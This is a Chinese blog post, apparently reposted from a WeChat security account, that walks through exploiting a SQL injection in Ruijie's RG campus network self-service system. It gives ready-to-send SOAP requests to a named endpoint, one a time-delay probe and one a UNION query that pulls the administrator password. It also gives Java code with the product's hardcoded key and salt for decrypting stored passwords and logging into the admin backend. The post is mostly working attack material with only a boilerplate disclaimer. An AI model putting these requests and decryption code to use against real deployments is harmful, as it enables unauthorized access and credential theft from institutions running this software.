最近在打攻防,在内网遇到了 锐捷RG 校园网自助服务系统
,搜了一下发现有一个 MSSQL
注入 ,通过这个注入,拿到了这台服务器的权限。因此记录一下利用方式。
漏洞利用
首先这个系统是分两个端的
SQL注入
直接微信一搜索就能找到 payload
互联网流传的 payload
是延时的
POST /selfservice/service/operatorReportorRoamService HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
Connection: close
Content-Type: text/xml;charset=UTF-8
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ser="http://service.webservice.common.spl.ruijie.com">
<soapenv:Header/>
<soapenv:Body>
<ser:queryOperatorUuid>
<!--type: string-->
<ser:in0>';WAITFOR DELAY '0:0:5'--</ser:in0>
</ser:queryOperatorUuid>
</soapenv:Body>
</soapenv:Envelope>
联合查询
因此改造一下 payload
、使用用联合查询直接读管理员密码
POST /selfservice/service/operatorReportorRoamService HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
Connection: close
Content-Type: text/xml;charset=UTF-8
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ser="http://service.webservice.common.spl.ruijie.com">
<soapenv:Header/>
<soapenv:Body>
<ser:queryOperatorUuid>
<!--type: string-->
<ser:in0>' UNION ALL SELECT ISNULL(CAST(PASSWORD AS VARCHAR(4000)),CHAR(32)) FROM USERINFO WHERE USER_ID = CHAR(97)+CHAR(100)+CHAR(109)+CHAR(105)+CHAR(110)--</ser:in0>
</ser:queryOperatorUuid>
</soapenv:Body>
</soapenv:Envelope>
密码解密
拿到密码后丢 cmd5
,查不出来。
咋办呢?直接分析源码就好了。
怎么去定位到改密码的加解密算法呢?
很简单,关注 登录、找回密码、重置密码 等业务功能点的代码就行了。
最终扣出以下的 java
代码
import com.sun.crypto.provider.SunJCE;
import javax.crypto.Cipher;
import javax.crypto.SecretKey;
import javax.crypto.SecretKeyFactory;
import javax.crypto.spec.PBEKeySpec;
import javax.crypto.spec.PBEParameterSpec;
import java.security.Provider;
import java.security.Security;
/**
* @Author jdr
* @Date 2024-5-18 17:45
* @version 1.0
* @注释
*/
public class main {
private static final long serialVersionUID = 7969285134317283537L;
private static char[] samKey = new char[]{'1', '2'};
protected static int encryptType = 1;
private static Cipher encryptPbeCipher = null;
private static Cipher decryptPbeCipher = null;
public main() {
}
public static void init() {
encryptPbeCipher = null;
decryptPbeCipher = null;
initJce();
}
public static void initJce() {
try {
Security.addProvider(new SunJCE());
byte[] salt = new byte[]{-57, 115, 33, -116, 126, -56, -18, -103};
Provider wsProvider = Security.getProvider("BC");
if (wsProvider != null) {
Security.removeProvider("BC");
}
if (wsProvider != null) {
Security.addProvider(wsProvider);
}
PBEParameterSpec pbeParamSpec = new PBEParameterSpec(salt, 20);
SecretKeyFactory keyFac = SecretKeyFactory.getInstance("PBEWithMD5AndDES");
SecretKey pbeKey = keyFac.generateSecret(new PBEKeySpec(samKey));
encryptPbeCipher = Cipher.getInstance("PBEWithMD5AndDES");
decryptPbeCipher = Cipher.getInstance("PBEWithMD5AndDES");
encryptPbeCipher.init(1, pbeKey, pbeParamSpec);
decryptPbeCipher.init(2, pbeKey, pbeParamSpec);
} catch (Exception var5) {
System.out.println(var5);
}
}
public static synchronized byte[] encrypt(byte[] code) {
try {
if (encryptType == 1) {
return encryptPbeCipher.doFinal(code);
} else if (encryptType == 2) {
return code;
} else {
System.out.println("密码类型时出错, encryptType=" + encryptType + "!");
return code;
}
} catch (Exception var4) {
System.out.println(var4);
try {
init();
if (encryptType == 1) {
return encryptPbeCipher.doFinal(code);
} else if (encryptType == 2) {
return code;
} else {
System.out.println("密码类型时出错, encryptType=" + encryptType + "!");
return code;
}
} catch (Exception var3) {
System.out.println(var3);
return code;
}
}
}
public static synchronized byte[] decrypt(byte[] encode) {
try {
if (encryptType == 1) {
return decryptPbeCipher.doFinal(encode);
} else if (encryptType == 2) {
return encode;
} else {
System.out.println("密码类型时出错, encryptType=" + encryptType + "!");
return encode;
}
} catch (Exception var4) {
System.out.println(var4);
try {
init();
if (encryptType == 1) {
return decryptPbeCipher.doFinal(encode);
} else if (encryptType == 2) {
return encode;
} else {
System.out.println("密码类型时出错, encryptType=" + encryptType + "!");
return encode;
}
} catch (Exception var3) {
System.out.println(var3);
return encode;
}
}
}
public static synchronized String encrypt(String code) {
if (encryptType == 1) {
return bytesToHexString(encrypt(code.getBytes()));
} else if (encryptType == 2) {
return code;
} else {
System.out.println("密码类型时出错, encryptType=" + encryptType + "!");
return code;
}
}
public static synchronized String decrypt(String encode) {
if (encryptType == 1) {
return new String(decrypt(hexStringToBytes(encode)));
} else if (encryptType == 2) {
return encode;
} else {
System.out.println("密码类型时出错, encryptType=" + encryptType + "!");
return encode;
}
}
public static String bytesToHexString(byte[] ba) {
return bytesToHexString(ba, "");
}
public static String bytesToHexString(byte[] ba, String prefix) {
if (ba != null && prefix != null) {
StringBuffer sb = new StringBuffer();
sb.append(prefix);
for(int i = 0; i < ba.length; ++i) {
int vi = ba[i];
if (vi < 0) {
vi += 256;
}
if (vi < 16) {
sb.append("0");
}
sb.append(Integer.toHexString(vi));
}
return sb.toString();
} else {
throw new NullPointerException();
}
}
public static byte[] hexStringToBytes(String hexStr) {
return hexStringToBytes(hexStr, "");
}
public static byte[] hexStringToBytes(String hexStr, String prefix) {
if (hexStr != null && prefix != null) {
String myHexStr = hexStr.trim();
if (myHexStr.startsWith(prefix)) {
myHexStr = myHexStr.substring(prefix.length());
}
int myHexStrLen = myHexStr.length();
byte[] ba = new byte[myHexStrLen / 2];
for(int i = 0; i < myHexStrLen; i += 2) {
int vi = Integer.parseInt(myHexStr.substring(i, i + 2), 16);
if (vi > 128) {
vi -= 256;
}
ba[i / 2] = (byte)vi;
}
return ba;
} else {
throw new NullPointerException();
}
}
public static void main(String[] args) {
System.out.println("密码是:"+decrypt("68a9d05959330e4e"));
System.out.println(encrypt("123456"));
}
static {
initJce();
}
}
再利用解密后的密码就能登录 sam
的后台了。
原文始发于微信公众号(刨洞安全团队):锐捷校园网自助服务系统SQL注入漏洞利用和密码解密
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论